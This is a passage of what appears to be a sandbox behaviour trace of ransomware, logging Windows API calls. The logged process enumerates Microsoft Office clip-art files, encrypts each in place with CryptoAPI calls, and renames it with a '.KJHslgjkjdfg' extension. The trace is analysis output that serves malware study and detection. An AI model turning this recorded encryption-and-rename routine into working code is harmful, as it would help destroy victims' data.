SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.175] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.175] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.175] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.175] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.175] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd14, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xd14, lpOverlapped=0x0) returned 1 [0154.176] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd20, dwBufLen=0xd20 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd20) returned 1 [0154.176] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.176] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xd20, lpOverlapped=0x0) returned 1 [0154.176] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.176] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xdf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.176] SetEndOfFile (hFile=0x114) returned 1 [0154.179] GetProcessHeap () returned 0x2a0000 [0154.179] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.179] GetProcessHeap () returned 0x2a0000 [0154.179] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.179] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.kjhslgjkjdfg")) returned 1 [0154.180] CloseHandle (hObject=0x114) returned 1 [0154.181] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04332_.WMF", cAlternateFileName="")) returned 1 [0154.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.182] GetProcessHeap () returned 0x2a0000 [0154.182] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.182] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.182] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.183] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.185] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.185] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.185] GetProcessHeap () returned 0x2a0000 [0154.185] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.185] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.185] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.185] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.185] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.185] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.185] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.186] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.186] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.186] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.186] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.186] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.186] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x10c8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x10c8, lpOverlapped=0x0) returned 1 [0154.187] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x10d0, dwBufLen=0x10d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x10d0) returned 1 [0154.187] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.187] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x10d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x10d0, lpOverlapped=0x0) returned 1 [0154.187] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.187] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x11a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.188] SetEndOfFile (hFile=0x114) returned 1 [0154.191] GetProcessHeap () returned 0x2a0000 [0154.191] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.191] GetProcessHeap () returned 0x2a0000 [0154.191] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.191] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf.kjhslgjkjdfg")) returned 1 [0154.192] CloseHandle (hObject=0x114) returned 1 [0154.192] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc9c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04355_.WMF", cAlternateFileName="")) returned 1 [0154.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.193] GetProcessHeap () returned 0x2a0000 [0154.193] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.193] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.193] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.193] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.196] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.196] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.196] GetProcessHeap () returned 0x2a0000 [0154.196] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.196] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.196] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.196] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.196] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.196] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.196] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.197] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.197] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.197] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.197] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.197] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.197] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xc9c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xc9c, lpOverlapped=0x0) returned 1 [0154.197] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xca0, dwBufLen=0xca0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xca0) returned 1 [0154.197] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.197] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xca0, lpOverlapped=0x0) returned 1 [0154.197] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.197] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xd74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.197] SetEndOfFile (hFile=0x114) returned 1 [0154.200] GetProcessHeap () returned 0x2a0000 [0154.200] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.200] GetProcessHeap () returned 0x2a0000 [0154.200] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.200] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf.kjhslgjkjdfg")) returned 1 [0154.202] CloseHandle (hObject=0x114) returned 1 [0154.202] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04369_.WMF", cAlternateFileName="")) returned 1 [0154.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.203] GetProcessHeap () returned 0x2a0000 [0154.203] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.203] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.203] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.203] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.209] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.209] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.209] GetProcessHeap () returned 0x2a0000 [0154.209] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.209] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.209] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.209] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.209] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.209] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.209] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.209] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.209] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.210] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.210] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.210] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.210] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x12c8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x12c8, lpOverlapped=0x0) returned 1 [0154.211] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x12d0, dwBufLen=0x12d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x12d0) returned 1 [0154.211] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.211] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x12d0, lpOverlapped=0x0) returned 1 [0154.211] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.211] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x13a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.211] SetEndOfFile (hFile=0x114) returned 1 [0154.214] GetProcessHeap () returned 0x2a0000 [0154.214] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.214] GetProcessHeap () returned 0x2a0000 [0154.214] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.214] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf.kjhslgjkjdfg")) returned 1 [0154.216] CloseHandle (hObject=0x114) returned 1 [0154.216] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1384, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04384_.WMF", cAlternateFileName="")) returned 1 [0154.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.217] GetProcessHeap () returned 0x2a0000 [0154.217] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.217] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.217] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.217] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0154.220] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.220] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.220] GetProcessHeap () returned 0x2a0000 [0154.220] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.220] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.220] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.221] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.221] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.221] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.221] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.221] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.221] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.221] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.221] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.221] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.221] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1384, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1384, lpOverlapped=0x0) returned 1 [0154.222] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1390, dwBufLen=0x1390 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1390) returned 1 [0154.222] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 